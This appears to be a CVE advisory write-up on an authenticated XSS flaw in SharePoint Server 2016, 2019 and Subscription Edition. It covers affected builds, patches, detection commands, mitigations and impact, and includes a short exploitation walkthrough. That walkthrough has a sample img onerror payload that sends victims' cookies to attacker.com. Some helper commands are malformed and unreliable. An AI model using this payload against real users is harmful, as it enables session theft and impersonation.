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CVE-2026-55034 is a cross‑site scripting (XSS) vulnerability that resides in the way Microsoft Office SharePoint generates web pages. The root cause is an improper neutralization of user‑supplied input during server‑side page rendering – a classic XSS flaw mapped to CWE‑79. Although the attacker must be already authenticated (privilege required: Low), the vulnerability can be exploited over the network with low attack complexity and does not require user interaction in the traditional sense; however, the CVSS vector includes `UI:R` because successful spoofing often relies on convincing a victim to follow a crafted link or interact with a poisoned SharePoint page.
Once authenticated, an attacker can inject malicious JavaScript, HTML, or other active content into input fields or URL parameters that are later reflected or stored and then rendered in SharePoint‑generated responses. Because SharePoint fails to adequately sanitize or escape this data, the injected payload executes in the context of the victim’s browser session when they view the compromised page. This allows the attacker to impersonate legitimate SharePoint users, manipulate page content, steal session tokens, or redirect users to fraudulent sites – all under the guise of a trusted SharePoint domain. The “spoofing” impact is rated High for both confidentiality and integrity, while availability is not affected.
The vulnerability affects three major SharePoint products on x64‑based systems: SharePoint Enterprise Server 2016 (versions 16.0.0 up to but not including 16.0.5561.1001), SharePoint Server 2019 (versions 16.0.0 up to but not including 16.0.10417.20175), and SharePoint Server Subscription Edition (versions 16.0.0 up to but not including 16.0.19725.20434). Microsoft released official patches on July 14, 2026, as part of the monthly Patch Tuesday update. The CVE was published on the same day and subsequently enriched by NIST and CISA. According to SSVC scoring, exploitation is currently assessed as “none” and not automatable, but the technical impact is “total” – meaning a successful attack can completely compromise the security of the affected component.
Given the authenticated nature of the attack, the vulnerability is particularly dangerous in corporate environments where SharePoint is used for internal collaboration, document management, and business‑critical workflows. An insider threat or a compromised low‑privilege account can escalate the impact by poisoning pages viewed by higher‑privileged users, leading to data exfiltration or further lateral movement. The CVSS base score of 7.3 (High) reflects the ease of exploitation and the significant potential for damage.
DailyCVE Form:
Platform: Microsoft SharePoint
Version: 2016/2019/Subscr.
Vulnerability: XSS (CWE-79)
Severity: High (7.3)
date: 2026-07-14
Prediction: 2026-07-14 (patch)
What Undercode Say (Analytics)
Detect vulnerable SharePoint versions via PowerShell:
Get-SPFarm | Select-Object BuildVersion
Check installed patches on Windows Server:
wmic qfe list brief | findstr "KB5000000"
Query the SharePoint database for unescaped input patterns (example – not a direct exploit):
SELECT , Body FROM dbo.AllDocs WHERE Body LIKE '%<script>%'
Monitor for suspicious XSS payloads in IIS logs:
grep -E "(<script|javascript:|onerror=|onload=)" /var/log/iis/httperr.log
Use the Microsoft Update Catalog to verify patch availability:
curl -s https://catalog.update.microsoft.com/ | grep -i "CVE-2026-55034"
How Exploit:
- Reconnaissance – Identify a SharePoint site where the attacker has authenticated access (e.g., a low‑privilege user account).
- Inject Payload – Insert a malicious script into a vulnerable input field (e.g., a comment box, search bar, or custom list column) that is reflected or stored.
- Trigger Execution – Craft a URL or lure the victim to view the poisoned page; the injected code runs in the victim’s browser session.
- Spoof & Steal – The script can hijack session cookies, display fake login forms, or redirect to attacker‑controlled sites, all while appearing as a legitimate SharePoint page.
Example malicious input (truncated for brevity):
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
Protection from this CVE:
- Apply the official Microsoft update for your SharePoint version (build numbers listed above). The patches are included in the July 2026 Patch Tuesday release.
- Enable input validation and output encoding on all custom SharePoint web parts and extensions.
- Use Content Security Policy (CSP) headers to restrict execution of inline scripts and untrusted sources.
- Deploy a Web Application Firewall (WAF) that blocks common XSS patterns.
- Limit user permissions – enforce the principle of least privilege to reduce the number of authenticated attackers.
- Regularly audit SharePoint logs for anomalies such as script tags in URL parameters or form submissions.
Impact:
- Confidentiality (High) – Attackers can read sensitive data from SharePoint pages, including documents, emails, and user profiles.
- Integrity (High) – Malicious actors can alter page content, inject false information, or modify workflow statuses.
- Availability (None) – The vulnerability does not directly cause denial of service.
- Spoofing – Victims can be deceived into believing they are interacting with a legitimate SharePoint interface, leading to credential theft or unauthorized actions.
- Lateral Movement – Compromised accounts can be used to pivot to other systems within the corporate network.
- Compliance Risk – Breaches may violate data protection regulations (e.g., GDPR, HIPAA) if PII or sensitive business data is exposed.
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Sources:
Reported By: nvd.nist.gov
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